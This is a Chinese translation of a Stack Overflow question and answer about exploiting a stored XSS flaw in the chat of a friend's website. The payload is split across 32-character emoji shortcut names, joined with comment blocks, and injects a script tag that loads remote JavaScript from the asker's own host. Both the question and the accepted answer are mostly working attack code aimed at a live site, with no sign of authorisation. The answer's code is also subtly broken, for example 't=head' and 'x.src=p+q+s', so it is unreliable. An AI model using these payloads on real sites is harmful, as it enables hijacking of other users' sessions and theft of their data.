javascript - 在长度受限的输入上运行 JavaScript 代码

标签 javascript html xss

我在 friend 的网站聊天中发现了 XSS。

我有一个多行文本框,我可以上传小图标,并且可以像表情符号一样使用它们。为了使用这些表情符号,我必须用快捷方式命名这些表情符号,例如:/haha , /rofl和别的。 这些快捷方式可以用任何内容进行修改,但长度不得超过 32 个字符。当我输入快捷方式时,不会清理任何字符。

这是 HTML 代码:

<div class="message"><span class="timestamp">7:09:43 PM - </span><span class="username"><span class="level1">fooUser</span></span><span>: </span><span><img src="https://path/to/emojiFile" alt="/haha" title="/haha" data-emoji="emojiFile" border="0"></span></div>

/haha甚至可以是<script>alert(1)</script> ,但长度必须为 32 个字符。

所以我想我可以为这些创建一个有效负载,但我想将它分成每个表情符号。

我正在做的是这样的:

var x=/*
*/document.createElement/*
*/("script");x.src=/*
*/"//mywebs"+/*
*/"ite.com/a.js",/*
*/document.head.appendChild/*
*/(x);

所以我注入(inject)这个 HTML 代码:

"><script>var x=/*
*/document.createElement/*
*/("script");x.src=/*
*/"//mywebs"+/*
*/"ite.com/a.js",/*
*/document.head.appendChild/*
*/(x);</script><!--

所以每一行对应一个表情符号。这是绕过长度限制的一种巧妙的方法。

这是抽象概念:

emoji1=<script><then begin comment block>

emoji2=<end comment block>alert("Hello World")<start comment block>

emoji3=<end comment block><script>

这是结果:

<div class="message"><span class="timestamp">07:24:26 PM - </span><span class="username"><span class="level1">fooUser</span></span><span>: </span><span><img src="https://path/to/emojiFile" alt="" border="0"><script>var x=/*" title=""><script>var x=/*" data-emoji="emojiFile" /><img border="0" src="https://path/to/emojiFile" alt="*/document.createElement/*" title="*/document.createElement/*" data-emoji="emojiFile" /><img border="0" src="https://path/to/emojiFile" alt="*/("script");x.src=/*" title="*/("script");x.src=/*" data-emoji="emojiFile" /><img border="0" src="https://path/to/emojiFile" alt="*/"//mywebs"+/*" title="*/"//mywebs"+/*" data-emoji="emojiFile" /><img border="0" src="https://path/to/emojiFile" alt="*/"ite.com/a.js",/*" title="*/"ite.com/a.js",/*" data-emoji="emojiFile" /><img border="0" src="https://path/to/emojiFile" alt="*/document.head.appendChild/*" title="*/document.head.appendChild/*" data-emoji="emojiFile" /><img border="0" src="https://path/to/emojiFile" alt="*/(x);</script><!--" title="*/(x);</script><!--" data-emoji="emojiFile" />--></span></div>

基本上未经清理的 HTML 输入(我放置负载的位置)在 alt 下重复。和title当我放置评论 block 时,可能存在某种歧义。

如何解决?

最佳答案

将脚本分成 32 个字符 block ,可以重复两次。

"><script>/*
*/p=document/*
*/q='http://mywebsite.com/'/*
*/r='mysubfolder/js/'/*
*/s='payloadfolder/a.js'/*
*/t=head/*
*/u=p.t/*
*/x=p.createElement('script')/*
*/x.src=p+q+s/*
*/u.appendChild(x)</script><!--

关于javascript - 在长度受限的输入上运行 JavaScript 代码,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/60984767/

相关文章:

javascript - 如何使用 javascript 和/或 html 在 div 中显示返回的 html 页面

javascript - 浏览器 URL 编码的 XSS 攻击是否容易受到攻击?

javascript - 对对象而不是每个属性进行编码

java - 为什么模型在提交表单后不保存我的数据?

c# - 无法使用 Javascript 折叠 div

javascript - three.module.js 的 404 错误(找不到文件)

javascript - 在javascript中测试正则表达式的最大字符串长度是多少

php - DOMDocument 从 HTML 源中删除脚本标签

Javascript 插件没有出现在 drupal 上

javascript - XMLHttpRequest - JS 无法在被调用的页面上工作